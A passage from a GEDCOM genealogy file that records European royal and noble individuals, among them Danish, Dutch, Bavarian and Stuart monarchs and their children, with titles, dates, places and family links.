Prince\n1 SEX M\n1 BIRT\n2 DATE        1941\n1 DEAT\n2 DATE        1956\n2 PLAC ,,Portugal\n1 FAMC @F149@\n0 @I595@ INDI\n1 NAME Maria  //\n1 SEX F\n1 FAMS @F255@\n1 FAMC @F170@\n0 @I596@ INDI\n1 NAME Isabella  /Marshal/\n1 TITL Lady\n1 SEX F\n1 BIRT\n2 DATE  9 OCT 1200\n2 PLAC Pembroke Castle\n1 DEAT\n2 DATE 15 JAN 1240\n2 PLAC Berkhamsted\n1 FAMS @F599@\n1 FAMC @F778@\n0 @I597@ INDI\n1 NAME Charles of_Sweden //\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1861\n1 DEAT\n2 DATE        1951\n1 FAMS @F215@\n1 FAMC @F156@\n0 @I598@ INDI\n1 NAME Ingeborg of_Denmark //\n1 SEX F\n1 BIRT\n2 DATE        1878\n1 DEAT\n2 DATE        1958\n1 FAMS @F215@\n1 FAMC @F218@\n0 @I599@ INDI\n1 NAME Astrid of_Sweden //\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE 17 NOV 1905\n1 DEAT\n2 DATE 29 AUG 1935\n2 PLAC Kussnacht,Switzerland\n1 BURI\n2 PLAC Laeken\n1 FAMS @F216@\n1 FAMC @F215@\n0 @I600@ INDI\n1 NAME Leopold_III  //\n1 TITL King of Belgium\n1 SEX M\n1 BIRT\n2 DATE  3 NOV 1901\n2 PLAC Brussels,Belgium\n1 DEAT\n2 DATE 25 SEP 1983\n2 PLAC Near Brussels,Belgium\n1 BURI\n2 PLAC Laeken\n1 FAMS @F216@\n1 FAMS @F429@\n1 FAMC @F423@\n0 @I601@ INDI\n1 NAME Baudouin_I of_the_Belgians //\n1 TITL King\n1 SEX M\n1 BIRT\n2 DATE  7 SEP 1930\n2 PLAC Chateau de,Stuyvenberg\n1 FAMS @F426@\n1 FAMC @F216@\n0 @I602@ INDI\n1 NAME Sibylla of_Saxe-Coburg //\n1 SEX F\n1 BIRT\n2 DATE        1908\n1 DEAT\n2 DATE        1971\n1 FAMS @F217@\n0 @I603@ INDI\n1 NAME Carl_XVI Gustav //\n1 TITL King of Sweden\n1 SEX M\n1 BIRT\n2 DATE 30 APR 1946\n2 PLAC Haga Castle\n1 FAMS @F220@\n1 FAMC @F217@\n0 @I604@ INDI\n1 NAME Frederick_VIII  //\n1 TITL King of Denmark\n1 SEX M\n1 BIRT\n2 DATE  3 JUN 1843\n2 PLAC Copenhagen,Denmark\n1 DEAT\n2 DATE 14 MAY 1912\n2 PLAC Hamburg,Germany\n1 BURI\n2 PLAC Roskilde,Denmark\n1 FAMS @F218@\n1 FAMC @F74@\n0 @I605@ INDI\n1 NAME Louise of_Sweden //\n1 SEX F\n1 BIRT\n2 DATE 31 OCT 1851\n2 PLAC Stockholm,Sweden\n1 DEAT\n2 DATE 20 MAR 1926\n2 PLAC Amalienborg\n1 FAMS @F218@\n1 FAMC @F387@\n0 @I606@ INDI\n1 NAME Christian_X  //\n1 TITL King of Denmark\n1 SEX M\n1 BIRT\n2 DATE 26 SEP 1870\n2 PLAC Charlottenlund,Nr: Copenhagen,Denmark\n1 DEAT\n2 DATE 20 APR 1947\n2 PLAC Amalienborg\n1 BURI\n2 PLAC Roskilde,Denmark\n1 FAMS @F219@\n1 FAMC @F218@\n0 @I607@ INDI\n1 NAME Alexandrine of_Mecklenburg- Schwerin//\n1 SEX F\n1 BIRT\n2 DATE 24 DEC 1879\n2 PLAC Schwerin\n1 DEAT\n2 DATE 28 DEC 1952\n2 PLAC Copenhagen\n1 FAMS @F219@\n1 FAMC @F1278@\n0 @I608@ INDI\n1 NAME Frederick_IX  //\n1 TITL King of Denmark\n1 SEX M\n1 BIRT\n2 DATE 11 MAR 1899\n2 PLAC Sorgenfri,Nr: Copenhagen,Denmark\n1 DEAT\n2 DATE 14 JAN 1972\n2 PLAC Copenhagen,Denmark\n1 BURI\n2 PLAC Roskilde,Denmark\n1 FAMS @F402@\n1 FAMC @F219@\n0 @I609@ INDI\n1 NAME Alexia  /Oldenburg/\n1 SEX M\n1 BIRT\n2 DATE        1965\n1 FAMC @F163@\n0 @I610@ INDI\n1 NAME Mergrethe_II  //\n1 TITL Queen of Denmark\n1 SEX F\n1 BIRT\n2 DATE 16 APR 1940\n2 PLAC Copenhagen,Denmark\n1 FAMS @F626@\n1 FAMC @F402@\n0 @I611@ INDI\n1 NAME Johann Georg_II of_Anhalt-Dessau//\n1 TITL Prince\n1 SEX M\n1 DEAT\n2 DATE        1693\n1 FAMS @F221@\n0 @I612@ INDI\n1 NAME Unknown  //\n1 SEX F\n1 FAMS @F221@\n0 @I613@ INDI\n1 NAME Leopold_I of_Anhalt-Dessau //\n1 TITL Prince\n1 SEX M\n1 FAMS @F244@\n1 FAMC @F221@\n0 @I614@ INDI\n1 NAME Henriette Amalie //\n1 SEX F\n1 FAMS @F222@\n1 FAMC @F221@\n0 @I615@ INDI\n1 NAME Heinrich Kasimir of_Nassau-Dietz//\n1 TITL Prince\n1 SEX M\n1 FAMS @F222@\n0 @I616@ INDI\n1 NAME John William of_Orange/Friso/\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1686\n1 DEAT\n2 DATE        1711\n1 FAMS @F223@\n1 FAMC @F222@\n0 @I617@ INDI\n1 NAME Mary Louise //\n1 SEX F\n1 BIRT\n2 DATE        1688\n1 DEAT\n2 DATE        1765\n1 FAMS @F223@\n0 @I618@ INDI\n1 NAME William_IV of_Orange //\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1711\n1 DEAT\n2 DATE        1751\n1 FAMS @F238@\n1 FAMC @F223@\n0 @I619@ INDI\n1 NAME Charlotte Amalia //\n1 SEX F\n1 BIRT\n2 DATE        1710\n1 DEAT\n2 DATE        1777\n1 FAMS @F224@\n1 FAMC @F223@\n0 @I620@ INDI\n1 NAME Friedrich of_Baden-Durlach //\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1703\n1 DEAT\n2 DATE        1732\n1 FAMS @F224@\n0 @I621@ INDI\n1 NAME Karl Friedrich of_Baden//\n1 TITL Grand Duke\n1 SEX M\n1 FAMS @F225@\n1 FAMC @F224@\n0 @I622@ INDI\n1 NAME Unknown  //\n1 SEX F\n1 FAMS @F225@\n0 @I623@ INDI\n1 NAME Karl Ludwig of_Baden//\n1 TITL Prince\n1 SEX M\n1 FAMS @F226@\n1 FAMC @F225@\n0 @I624@ INDI\n1 NAME Unknown  //\n1 SEX F\n1 FAMS @F226@\n0 @I625@ INDI\n1 NAME Karl of_Baden //\n1 TITL Grand Duke\n1 SEX M\n1 FAMS @F227@\n1 FAMC @F226@\n0 @I626@ INDI\n1 NAME Caroline of_Baden //\n1 SEX F\n1 BIRT\n2 DATE 13 JUL 1776\n2 PLAC Karlsruhe\n1 DEAT\n2 DATE 13 NOV 1841\n2 PLAC Munich,Germany\n1 BURI\n2 PLAC Theatinerkirche,Munich,Germany\n1 FAMS @F232@\n1 FAMC @F226@\n0 @I627@ INDI\n1 NAME Unknown  //\n1 SEX F\n1 FAMS @F227@\n0 @I628@ INDI\n1 NAME Marie  //\n1 SEX F\n1 FAMS @F228@\n1 FAMC @F227@\n0 @I629@ INDI\n1 NAME William Alexander of_Hamilton//\n1 TITL Duke\n1 SEX M\n1 FAMS @F228@\n0 @I630@ INDI\n1 NAME Mary  //\n1 SEX F\n1 FAMS @F229@\n1 FAMC @F228@\n0 @I631@ INDI\n1 NAME Albert_I of_Monaco //\n1 TITL Prince\n1 SEX M\n1 FAMS @F229@\n0 @I632@ INDI\n1 NAME Louis_II of_Monaco //\n1 TITL Prince\n1 SEX M\n1 FAMS @F230@\n1 FAMC @F229@\n0 @I633@ INDI\n1 NAME Unknown  //\n1 SEX F\n1 FAMS @F230@\n0 @I634@ INDI\n1 NAME Charlotte  //\n1 SEX F\n1 FAMS @F231@\n1 FAMC @F230@\n0 @I635@ INDI\n1 NAME Pierre  /de_Polignac/\n1 TITL Prince\n1 SEX M\n1 FAMS @F231@\n0 @I636@ INDI\n1 NAME Rainier_III of_Monaco //\n1 TITL Prince\n1 SEX M\n1 FAMC @F231@\n0 @I637@ INDI\n1 NAME Maximilian_I Joseph /Wittelsbach/\n1 TITL King of Bavaria\n1 SEX M\n1 BIRT\n2 DATE 27 MAY 1756\n2 PLAC Mannheim,Germany\n1 DEAT\n2 DATE 13 OCT 1825\n2 PLAC Schloss,Nymphenburg,Germany\n1 BURI\n2 PLAC Theatinerkirche\n1 FAMS @F431@\n1 FAMS @F232@\n0 @I638@ INDI\n1 NAME Sophie (twin) /Wittelsbach/\n1 SEX F\n1 BIRT\n2 DATE        1805\n1 DEAT\n2 DATE        1872\n1 FAMS @F233@\n1 FAMC @F232@\n0 @I639@ INDI\n1 NAME Franz Karl of_Austria//\n1 TITL Archduke\n1 SEX M\n1 FAMS @F233@\n0 @I640@ INDI\n1 NAME Otto  //\n1 SEX M\n1 FAMS @F234@\n1 FAMC @F236@\n0 @I641@ INDI\n1 NAME Elisabeth Amalia //\n1 SEX F\n1 FAMS @F237@\n1 FAMC @F236@\n0 @I642@ INDI\n1 NAME Unknown  //\n1 SEX F\n1 FAMS @F234@\n0 @I643@ INDI\n1 NAME Karl_I of_Austria //\n1 TITL Emperor\n1 SEX M\n1 FAMS @F235@\n1 FAMC @F234@\n0 @I644@ INDI\n1 NAME Unknown  //\n1 SEX F\n1 FAMS @F235@\n0 @I645@ INDI\n1 NAME Otto of_Austria //\n1 TITL Archduke\n1 SEX M\n1 FAMC @F235@\n0 @I646@ INDI\n1 NAME Karl Ludwig //\n1 SEX M\n1 FAMS @F236@\n1 FAMC @F233@\n0 @I647@ INDI\n1 NAME Unknown  //\n1 SEX F\n1 FAMS @F236@\n0 @I648@ INDI\n1 NAME Aloys of_Liechtenstein //\n1 TITL Prince\n1 SEX M\n1 FAMS @F237@\n0 @I649@ INDI\n1 NAME Franz_Joseph_II of_Liechtenstein //\n1 TITL Prince\n1 SEX M\n1 FAMC @F237@\n0 @I650@ INDI\n1 NAME William_V of_Orange //\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1748\n1 DEAT\n2 DATE        1806\n1 FAMS @F239@\n1 FAMC @F238@\n0 @I651@ INDI\n1 NAME Wilhelmina  //\n1 SEX F\n1 BIRT\n2 DATE        1751\n1 DEAT\n2 DATE        1820\n1 FAMS @F239@\n0 @I652@ INDI\n1 NAME William_II of_Netherlands //\n1 TITL King\n1 SEX M\n1 BIRT\n2 DATE  6 DEC 1792\n2 PLAC The Hague,Netherlands\n1 DEAT\n2 DATE 17 MAR 1849\n2 PLAC Tilburg\n1 FAMS @F240@\n1 FAMC @F202@\n0 @I653@ INDI\n1 NAME Frederik of_Netherlands //\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1797\n1 DEAT\n2 DATE        1881\n1 FAMS @F388@\n1 FAMC @F202@\n0 @I654@ INDI\n1 NAME Anna Pavlovna //\n1 SEX F\n1 BIRT\n2 DATE 18 JAN 1795\n2 PLAC St. Petersburg,Russia\n1 DEAT\n2 DATE  1 MAR 1865\n2 PLAC The Hague\n1 FAMS @F240@\n1 FAMC @F469@\n0 @I655@ INDI\n1 NAME William_III of_Netherlands //\n1 TITL King\n1 SEX M\n1 BIRT\n2 DATE 19 FEB 1817\n2 PLAC Brussels,Belgium\n1 DEAT\n2 DATE 23 NOV 1890\n2 PLAC Het Loo\n1 FAMS @F447@\n1 FAMS @F241@\n1 FAMC @F240@\n0 @I656@ INDI\n1 NAME Emma of_Netherlands //\n1 TITL Queen Regent\n1 SEX F\n1 BIRT\n2 DATE  2 AUG 1858\n2 PLAC Arolsen\n1 DEAT\n2 DATE 20 MAR 1934\n2 PLAC The Hague\n1 FAMS @F241@\n1 FAMC @F67@\n0 @I657@ INDI\n1 NAME Wilhelmina of_Netherlands //\n1 TITL Queen\n1 SEX F\n1 BIRT\n2 DATE 31 AUG 1880\n2 PLAC The Hague,Netherlands\n1 DEAT\n2 DATE 28 NOV 1962\n2 PLAC Het Loo\n1 FAMS @F242@\n1 FAMC @F241@\n0 @I658@ INDI\n1 NAME Henry of_Mecklenburg //\n1 TITL Duke\n1 SEX M\n1 BIRT\n2 DATE 19 APR 1876\n2 PLAC Schwerin\n1 DEAT\n2 DATE  3 JUL 1934\n2 PLAC The Hague,Netherlands\n1 FAMS @F242@\n1 FAMC @F445@\n0 @I659@ INDI\n1 NAME Juliana of_Netherlands //\n1 TITL Queen\n1 SEX F\n1 BIRT\n2 DATE 30 APR 1909\n2 PLAC The Hague,Netherlands\n1 FAMS @F243@\n1 FAMC @F242@\n0 @I660@ INDI\n1 NAME Bernhard of_Lippe- Biesterfeld//\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE 29 JUN 1911\n2 PLAC Jena\n1 FAMS @F243@\n0 @I661@ INDI\n1 NAME Beatrix of_Netherlands //\n1 TITL Queen\n1 SEX F\n1 BIRT\n2 DATE 31 JAN 1938\n2 PLAC Soetdijk,Palace,Netherlands\n1 FAMS @F443@\n1 FAMC @F243@\n0 @I662@ INDI\n1 NAME Unknown  //\n1 SEX F\n1 FAMS @F244@\n0 @I663@ INDI\n1 NAME Leopold_II of_Anhalt-Dessau //\n1 TITL Prince\n1 SEX M\n1 FAMS @F245@\n1 FAMC @F244@\n0 @I664@ INDI\n1 NAME Unknown  //\n1 SEX F\n1 FAMS @F245@\n0 @I665@ INDI\n1 NAME Agnes  //\n1 SEX F\n1 FAMS @F246@\n1 FAMC @F245@\n0 @I666@ INDI\n1 NAME Johann  /Just/\n1 TITL Baron von Loen\n1 SEX M\n1 FAMS @F246@\n0 @I667@ INDI\n1 NAME Agnes  //\n1 SEX F\n1 FAMS @F247@\n1 FAMC @F246@\n0 @I668@ INDI\n1 NAME Ernst von_Seherr-Thoss //\n1 TITL Count\n1 SEX M\n1 FAMS @F247@\n0 @I669@ INDI\n1 NAME Hermann von_Seherr-Thoss //\n1 TITL Count\n1 SEX M\n1 FAMS @F248@\n1 FAMC @F247@\n0 @I670@ INDI\n1 NAME Unknown  //\n1 SEX F\n1 FAMS @F248@\n0 @I671@ INDI\n1 NAME Marguerite  //\n1 SEX F\n1 FAMS @F249@\n1 FAMC @F248@\n0 @I672@ INDI\n1 NAME Lajos Apponyi_de Nagy-Appony//\n1 TITL Count\n1 SEX M\n1 FAMS @F249@\n0 @I673@ INDI\n1 NAME Cyula Apponyi_de Nagy-Appony//\n1 TITL Count\n1 SEX M\n1 FAMS @F250@\n1 FAMC @F249@\n0 @I674@ INDI\n1 NAME Unknown  //\n1 SEX F\n1 FAMS @F250@\n0 @I675@ INDI\n1 NAME Geraldine  //\n1 SEX F\n1 FAMS @F251@\n1 FAMC @F250@\n0 @I676@ INDI\n1 NAME Zog_I of_Albania //\n1 TITL King\n1 SEX M\n1 FAMS @F251@\n0 @I677@ INDI\n1 NAME Leka_I of_Albania //\n1 TITL King\n1 SEX M\n1 FAMC @F251@\n0 @I678@ INDI\n1 NAME Karl of_Austria //\n1 TITL Archduke\n1 SEX M\n1 FAMS @F252@\n0 @I679@ INDI\n1 NAME Henriette  //\n1 SEX F\n1 FAMS @F252@\n0 @I680@ INDI\n1 NAME Karl Ferdinand //\n1 SEX M\n1 FAMS @F253@\n1 FAMC @F252@\n0 @I681@ INDI\n1 NAME Unknown  //\n1 SEX F\n1 FAMS @F253@\n0 @I682@ INDI\n1 NAME Maria Cristina of_Austria//\n1 TITL Queen of Spain\n1 SEX F\n1 BIRT\n2 DATE        1858\n1 DEAT\n2 DATE        1929\n1 FAMS @F254@\n1 FAMC @F253@\n0 @I683@ INDI\n1 NAME Alfonso_XII  //\n1 TITL King of Spain\n1 SEX M\n1 BIRT\n2 DATE        1857\n2 PLAC Madrid,Spain\n1 DEAT\n2 DATE        1885\n1 FAMS @F1243@\n1 FAMS @F254@\n1 FAMC @F453@\n0 @I684@ INDI\n1 NAME Joseph of_Austria //\n1 TITL Archduke\n1 SEX M\n1 FAMS @F255@\n0 @I685@ INDI\n1 NAME Elisabeth of_Austria //\n1 TITL Archduchess\n1 SEX F\n1 FAMS @F256@\n1 FAMC @F255@\n0 @I686@ INDI\n1 NAME Ferdinand of_Austria-Este //\n1 TITL Archduke\n1 SEX M\n1 FAMS @F256@\n0 @I687@ INDI\n1 NAME Maria Theresa //\n1 SEX F\n1 BIRT\n2 DATE  2 JUL 1849\n2 PLAC Brunn\n1 DEAT\n2 DATE  3 FEB 1919\n2 PLAC Schloss,Wildenwart\n1 BURI\n2 PLAC Dom Church,Munich,Germany\n1 FAMS @F257@\n1 FAMC @F256@\n0 @I688@ INDI\n1 NAME Ludwig_III  /Wittelsbach/\n1 TITL King of Bavaria\n1 SEX M\n1 BIRT\n2 DATE  7 JAN 1845\n2 PLAC Munich,Germany\n1 DEAT\n2 DATE 18 OCT 1921\n2 PLAC Sarvar,Hungary\n1 FAMS @F257@\n1 FAMC @F438@\n0 @I689@ INDI\n1 NAME Rupprecht of_Bavaria //\n1 TITL Crown Prince\n1 SEX M\n1 BIRT\n2 DATE        1869\n1 DEAT\n2 DATE        1955\n1 FAMS @F258@\n1 FAMS @F439@\n1 FAMC @F257@\n0 @I690@ INDI\n1 NAME Maria Gabriele of_Bavaria//\n1 SEX F\n1 BIRT\n2 DATE        1878\n1 DEAT\n2 DATE        1912\n1 FAMS @F258@\n1 FAMC @F441@\n0 @I691@ INDI\n1 NAME Albrecht (Albert) //\n1 TITL Duke of Bavaria\n1 SEX M\n1 BIRT\n2 DATE        1905\n1 FAMC @F258@\n0 @I692@ INDI\n1 NAME George of_Denmark //\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE  2 APR 1653\n2 PLAC Copenhagen,Denmark\n1 DEAT\n2 DATE 28 OCT 1708\n2 PLAC Kensington,Palace,,England\n1 FAMS @F259@\n1 FAMC @F637@\n0 @I693@ INDI\n1 NAME Anne  /Stuart/\n1 TITL Queen of England\n1 SEX F\n1 BIRT\n2 DATE  6 FEB 1665\n2 PLAC St. James Palace,London,England\n1 DEAT\n2 DATE  1 AUG 1714\n2 PLAC Kensington,Palace,London,England\n1 BURI\n2 PLAC Westminster,Abbey,London,England\n1 FAMS @F259@\n1 FAMC @F260@\n0 @I694@ INDI\n1 NAME Daughter  //\n1 SEX F\n1 BIRT\n2 DATE 12 MAY 1684\n1 DEAT\n2 DATE 12 MAY 1684\n1 FAMC @F259@\n0 @I695@ INDI\n1 NAME Mary  //\n1 SEX F\n1 BIRT\n2 DATE  2 JUN 1685\n2 PLAC Whitehall,,England\n1 DEAT\n2 DATE  8 FEB 1687\n2 PLAC Windsor Castle,Berkshire,England\n1 FAMC @F259@\n0 @I696@ INDI\n1 NAME Anne Sophia //\n1 SEX F\n1 BIRT\n2 DATE 12 MAY 1686\n2 PLAC Windsor Castle,Berkshire,England\n1 DEAT\n2 DATE  2 FEB 1687\n2 PLAC Windsor Castle,Berkshire,England\n1 FAMC @F259@\n0 @I697@ INDI\n1 NAME Son  //\n1 SEX M\n1 BIRT\n2 DATE 22 OCT 1687\n1 DEAT\n2 DATE 22 OCT 1687\n1 FAMC @F259@\n0 @I698@ INDI\n1 NAME William of_Gloucester //\n1 TITL Duke\n1 SEX M\n1 BIRT\n2 DATE 24 JUL 1689\n2 PLAC Hampton Court,Palace,England\n1 DEAT\n2 DATE 30 JUL 1700\n2 PLAC Windsor Castle,Berkshire,England\n1 FAMC @F259@\n0 @I699@ INDI\n1 NAME Mary  //\n1 SEX F\n1 BIRT\n2 DATE 14 OCT 1690\n2 PLAC St. James Palace,London,England\n1 DEAT\n2 DATE 14 OCT 1690\n2 PLAC St. James Palace,London,England\n1 FAMC @F259@\n0 @I700@ INDI\n1 NAME George  //\n1 SEX M\n1 BIRT\n2 DATE 17 APR 1692\n2 PLAC Syon House,Brentford,Middlesex,England\n1 DEAT\n2 DATE 17 APR 1692\n2 PLAC Syon House,Brentford,Middlesex,England\n1 FAMC @F259@\n0 @I701@ INDI\n1 NAME Daughter  //\n1 SEX F\n1 BIRT\n2 DATE 23 MAR 1693\n2 PLAC Berkeley House,,England\n1 DEAT\n2 DATE 23 MAR 1693\n2 PLAC Berkeley House,,England\n1 FAMC @F259@\n0 @I702@ INDI\n1 NAME Daughter  //\n1 SEX F\n1 BIRT\n2 DATE 18 FEB 1696\n1 DEAT\n2 DATE 18 FEB 1696\n1 FAMC @F259@\n0 @I703@ INDI\n1 NAME Son  //\n1 SEX M\n1 BIRT\n2 DATE 20 SEP 1696\n2 PLAC Windsor,Berkshire,England\n1 DEAT\n2 DATE 20 SEP 1696\n2 PLAC Windsor,Berkshire,England\n1 FAMC @F259@\n0 @I704@ INDI\n1 NAME Son  //\n1 SEX M\n1 BIRT\n2 DATE 15 SEP 1698\n1 DEAT\n2 DATE 15 SEP 1698\n1 FAMC @F259@\n0 @I705@ INDI\n1 NAME Daughter  //\n1 SEX F\n1 BIRT\n2 DATE 25 JAN 1700\n1 DEAT\n2 DATE 25 JAN 1700\n1 FAMC @F259@\n0 @I706@ INDI\n1 NAME James_II  /Stuart/\n1 TITL King of England\n1 SEX M\n1 BIRT\n2 DATE 14 OCT 1633\n2 PLAC St. James Palace,London,England\n1 DEAT\n2 DATE  6 SEP 1701\n2 PLAC St. Germain-,en-Laye,France\n1 BURI\n2 PLAC St. Germain-,en-Laye,France\n1 FAMS @F260@\n1 FAMS @F261@\n1 FAMC @F270@\n0 @I707@ INDI\n1 NAME Anne  /Hyde/\n1 SEX F\n1 BIRT\n2 DATE 12 MAR 1637/1638\n2 PLAC Cranbourne Lodge,Near,Windsor,England\n1 DEAT\n2 DATE 31 MAR 1671\n2 PLAC St. James Palace,London,England\n1 FAMS @F260@\n1 FAMC @F944@\n0 @I708@ INDI\n1 NAME Charles of_Cambridge //\n1 TITL Duke\n1 SEX M\n1 BIRT\n2 DATE 22 OCT 1660\n2 PLAC Worcester House,London,England\n1 DEAT\n2 DATE  5 MAY 1661\n2 PLAC Whitehall\n1 FAMC @F260@\n0 @I709@ INDI\n1 NAME Mary_II  //\n1 TITL Queen of England\n1 SEX F\n1 BIRT\n2 DATE 30 APR 1662\n2 PLAC St. James Palace,London,England\n1 DEAT\n2 DATE 28 DEC 1694\n2 PLAC Kensington,Palace,London,England\n1 BURI\n2 PLAC Westminster,Abbey,London,England\n1 FAMS @F276@\n1 FAMC @F260@\n0 @I710@ INDI\n1 NAME James of_Cambridge //\n1 TITL Duke\n1 SEX M\n1 BIRT\n2 DATE 12 JUL 1663\n2 PLAC St. James Palace,London,England\n1 DEAT\n2 DATE 22 MAY 1667\n2 PLAC St. James Palace,London,England\n1 FAMC @F260@\n0 @I711@ INDI\n1 NAME Charles  //\n1 TITL Duke of Kendal\n1 SEX M\n1 BIRT\n2 DATE  4 JUL 1666\n2 PLAC St. James Palace,London,England\n1 DEAT\n2 DATE 20 JUN 1667\n2 PLAC Richmond Palace,,England\n1 FAMC @F260@\n0 @I712@ INDI\n1 NAME Edgar of_Cambridge //\n1 TITL Duke\n1 SEX M\n1 BIRT\n2 DATE 14 SEP 1667\n2 PLAC St. James Palace,London,England\n1 DEAT\n2 DATE 15 NOV 1669\n2 PLAC Richmond Palace,London,England\n1 FAMC @F260@\n0 @I713@ INDI\n1 NAME Henrietta  //\n1 SEX F\n1 BIRT\n2 DATE 13 JAN 1669\n2 PLAC Whitehall,,England\n1 DEAT\n2 DATE 15 NOV 1669\n2 PLAC St. James Palace,,England\n1 FAMC @F260@\n0 @I714@ INDI\n1 NAME Catherine  //\n1 SEX F\n1 BIRT\n2 DATE  9 FEB 1671\n2 PLAC Whitehall,,England\n1 DEAT\n2 DATE  5 DEC 1671\n2 PLAC St. James Palace,,England\n1 FAMC @F260@\n0 @I715@ INDI\n1 NAME Mary Beatrice of_Modena//\n1 SEX F\n1 BIRT\n2 DATE 25 SEP 1658\n1 DEAT\n2 DATE  7 MAY 1718\n2 PLAC St. Germain-,en-Laye,France\n1 BURI\n2 PLAC Convent of,Chaillot,France\n1 FAMS @F261@\n1 FAMC @F275@\n0 @I716@ INDI\n1 NAME Catherine Laura /Stuart/\n1 SEX F\n1 BIRT\n2 DATE 10 JAN\n2 PLAC St. James Palace,London,England\n1 DEAT\n2 DATE  3 OCT 1675\n2 PLAC St. James Palace,London,England\n1 FAMC @F261@\n0 @I717@ INDI\n1 NAME Charles of_Cambridge /Stuart/\n1 TITL Duke\n1 SEX M\n1 BIRT\n2 DATE  7 NOV 1677\n2 PLAC St. James Palace,London,England\n1 DEAT\n2 DATE 12 DEC 1677\n2 PLAC St. James Palace,London,England\n1 FAMC @F261@\n0 @I718@ INDI\n1 NAME Charlotte Maria /Stuart/\n1 SEX F\n1 BIRT\n2 DATE 16 AUG 1682\n2 PLAC St. James Palace,London,England\n1 DEAT\n2 DATE  6 OCT 1682\n2 PLAC St. James Palace,London,England\n1 FAMC @F261@\n0 @I719@ INDI\n1 NAME James Francis Edward/Stuart/\n1 TITL Prince of Wales\n1 SEX M\n1 BIRT\n2 DATE 10 JUN 1688\n2 PLAC St. James Palace,London,England\n1 DEAT\n2 DATE  1 JAN 1766\n2 PLAC Rome,,Italy\n1 FAMS @F262@\n1 FAMC @F261@\n0 @I720@ INDI\n1 NAME Louisa Maria Theresa/Stuart/\n1 SEX F\n1 BIRT\n2 DATE 28 JUN 1692\n2 PLAC St. Germain-,en-Laye,France\n1 DEAT\n2 DATE  8 APR 1712\n2 PLAC St. Germain-,en-Laye,France\n1 FAMC @F261@\n0 @I721@ INDI\n1 NAME Maria Casimire Clementina/Sobieska/\n1 SEX F\n1 BIRT\n2 DATE 18 JUL 1702\n1 DEAT\n2 DATE 18 JAN 1735\n2 PLAC Rome,,Italy\n1 FAMS @F262@\n1 FAMC @F952@\n0 @I722@ INDI\n1 NAME Charles Edward Louis/Stuart/\n1 SEX M\n1 BIRT\n2 DATE 31 DEC 1720\n2 PLAC Rome,,Italy\n1 DEAT\n2 DATE 31 JAN 1788\n2 PLAC Rome,,Italy\n1 FAMS @F263@\n1 FAMC @F262@\n0 @I723@ INDI\n1 NAME Henry Benedict Thomas/Stuart/\n1 TITL Duke of York\n1 SEX M\n1 BIRT\n2 DATE  6 MAR 1725\n2 PLAC Rome,,Italy\n1 DEAT\n2 DATE 13 JUL 1807\n2 PLAC Frascati,,Italy\n1 FAMC @F262@\n0 @I724@ INDI\n1 NAME Louise Maximilienne Caroline//\n1 SEX F\n1 BIRT\n2 DATE 10 SEP 1752\n2 PLAC Mons\n1 DEAT\n2 DATE 29 JAN 1824\n2 PLAC Florence,,Italy\n1 FAMS @F263@\n1 FAMC @F954@\n0 @I725@ INDI\n1 NAME James_I  /Stuart/\n1 TITL King of England\n1 SEX M\n1 BIRT\n2 DATE 19 JUN 1566\n2 PLAC Edinburgh Castle,,Scotland\n1 DEAT\n2 DATE 27 MAR 1625\n2 PLAC Theobalds Park,Hertfordshire,Herts,England\n1 BURI\n2 PLAC Westminster,Abbey,London,England\n1 FAMS @F264@\n1 FAMC @F455@\n0 @I726@ INDI\n1 NAME Anne of_Denmark //\n1 SEX F\n1 BIRT\n2 DATE 14 OCT 1574\n2 PLAC Skanderborg,Castle\n1 DEAT\n2 DATE  4 MAR 1619\n2 PLAC Hampton Court,Palace\n1 BURI\n2 PLAC Westminster,Abbey,London,England\n1 FAMS @F264@\n1 FAMC @F268@\n0 @I727@ INDI\n1 NAME Henry Frederick /Stuart/\n1 TITL Prince of Wales\n1 SEX M\n1 BIRT\n2 DATE 19 FEB 1594\n2 PLAC Stirling Castle\n1 DEAT\n2 DATE  6 NOV 1612\n2 PLAC St. James Palace,,England\n1 FAMC @F264@\n0 @I728@ INDI\n1 NAME Elizabeth  /Stuart/\n1 SEX F\n1 BIRT\n2 DATE 19 AUG 1596\n2 PLAC Dunfermline\n1 DEAT\n2 DATE 13 FEB 1662\n2 PLAC Leicester House,London,England\n1 FAMS @F265@\n1 FAMC @F264@\n0 @I729@ INDI\n1 NAME Margaret  /Stuart/\n1 SEX F\n1 BIRT\n2 DATE 24 DEC 1598\n2 PLAC Dalkeith Palace\n1 DEAT\n2 DATE    MAR 1600\n2 PLAC Linlithgow\n1 FAMC @F264@\n0 @I730@ INDI\n1 NAME Charles_I  /Stuart/\n1 TITL King of England\n1 SEX M\n1 BIRT\n2 DATE 19 NOV 1600\n2 PLAC Dunfermline,Scotland\n1 DEAT\n2 DATE 30 JAN 1649\n2 PLAC Whitehall Palace,,England\n1 BURI\n2 PLAC St. George's,Chapel,Windsor,England\n1 FAMS @F270@\n1 FAMC @F264@\n0 @I731@ INDI\n1 NAME Robert  /Stuart/\n1 TITL Duke of Kintyre\n1 SEX M\n1 BIRT\n2 DATE 18 JAN 1602\n2 PLAC Dunfermline\n1 DEAT\n2 DATE 27 MAY 1602\n2 PLAC Dunfermline\n1 FAMC @F264@\n0 @I732@ INDI\n1 NAME Son  //\n1 SEX M\n1 BIRT\n2 DATE    MAY 1603\n2 PLAC Stirling\n1 DEAT\n2 DATE    MAY 1603\n2 PLAC Stirling\n1 FAMC @F264@\n0 @I733@ INDI\n1 NAME Mary  /Stuart/\n1 SEX F\n1 BIRT\n2 DATE  8 APR 1605\n2 PLAC Greenwich Palace\n1 DEAT\n2 DATE 16 SEP 1607\n2 PLAC Stanwell Park,Middlesex,England\n1 FAMC @F264@\n0 @I734@ INDI\n1 NAME Sophia  /Stuart/\n1 SEX F\n1 BIRT\n2 DATE 22 JUN 1606\n2 PLAC Greenwich Palace\n1 DEAT\n2 DATE 23 JUN 1606\n2 PLAC Greenwich Palace\n1 FAMC @F264@\n0 @I735@ INDI\n1 NAME Frederick_V of_Palatinate //\n1 TITL King of Bohemia\n1 SEX M\n1 BIRT\n2 DATE        1596\n1 DEAT\n2 